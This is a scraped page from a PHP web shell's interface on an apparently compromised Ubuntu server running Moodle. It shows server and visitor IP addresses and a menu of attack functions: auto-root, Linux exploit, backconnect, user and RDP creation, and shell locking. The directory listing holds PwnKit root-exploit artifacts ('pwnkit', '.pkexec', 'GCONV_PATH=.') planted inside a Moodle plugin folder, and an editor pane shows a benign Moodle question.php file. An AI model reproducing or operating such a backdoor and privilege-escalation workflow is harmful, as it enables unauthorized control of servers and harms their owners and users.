Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
question /
type /
ddimageortext /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
edit_ddimageortext_form.php
12.87
KB
-rwxrwxrwx
edit_ddtoimage_form_base.php
6.96
KB
-rwxrwxrwx
lib.php
1.65
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question.php
4.27
KB
-rwxrwxrwx
questionbase.php
6.3
KB
-rwxrwxrwx
questiontype.php
11.96
KB
-rwxrwxrwx
questiontypebase.php
6.12
KB
-rwxrwxrwx
renderer.php
1.26
KB
-rwxrwxrwx
rendererbase.php
7.33
KB
-rwxrwxrwx
styles.css
4.71
KB
-rwxrwxrwx
version.php
1.15
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : question.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Drag-and-drop onto image question definition class. * * @package qtype_ddimageortext * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/question/type/ddimageortext/questionbase.php'); /** * Represents a drag-and-drop onto image question. * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_ddimageortext_question extends qtype_ddtoimage_question_base { } /** * Represents one of the choices (draggable images). * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_ddimageortext_drag_item { /** @var int Drag item id */ public $id; /** @var string Text for the drag item */ public $text; /** @var int Number of the item */ public $no; /** @var int Group of the item */ public $group; /** @var bool If the drag item can be used multiple times or not */ public $infinite; /** * Drag item object setup. * * @param string $alttextlabel The alt text of the drag item * @param int $no Which number drag item this is * @param int $group Group of the drag item * @param bool $infinite True if the item can be used an unlimited number of times * @param int $id id of the item */ public function __construct($alttextlabel, $no, $group = 1, $infinite = false, $id = 0) { $this->id = $id; $this->text = $alttextlabel; $this->no = $no; $this->group = $group; $this->infinite = $infinite; } /** * Returns the group of this item. * * @return int */ public function choice_group() { return $this->group; } /** * Creates summary text of for the drag item. * * @return string */ public function summarise() { if (trim($this->text) != '') { return get_string('summarisechoice', 'qtype_ddimageortext', $this); } else { return get_string('summarisechoiceno', 'qtype_ddimageortext', $this->no); } } } /** * Represents one of the places (drop zones). * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_ddimageortext_drop_zone { /** @var int Number of the item */ public $no; /** @var string Alt text for the drop zone item */ public $text; /** @var int Group of the item */ public $group; /** @var array X and Y location of the drop zone */ public $xy; /** * Create a drop zone object. * * @param string $alttextlabel The alt text of the drop zone * @param int $no Which number drop zone this is * @param int $group Group of the drop zone * @param int $x X location * @param int $y Y location */ public function __construct($alttextlabel, $no, $group = 1, $x = '', $y = '') { $this->no = $no; $this->text = $alttextlabel; $this->group = $group; $this->xy = array($x, $y); } /** * Creates summary text of for the drop zone * * @return string */ public function summarise() { if (trim($this->text) != '') { $summariseplace = get_string('summariseplace', 'qtype_ddimageortext', $this); } else { $summariseplace = get_string('summariseplaceno', 'qtype_ddimageortext', $this->no); } return $summariseplace; } }
Close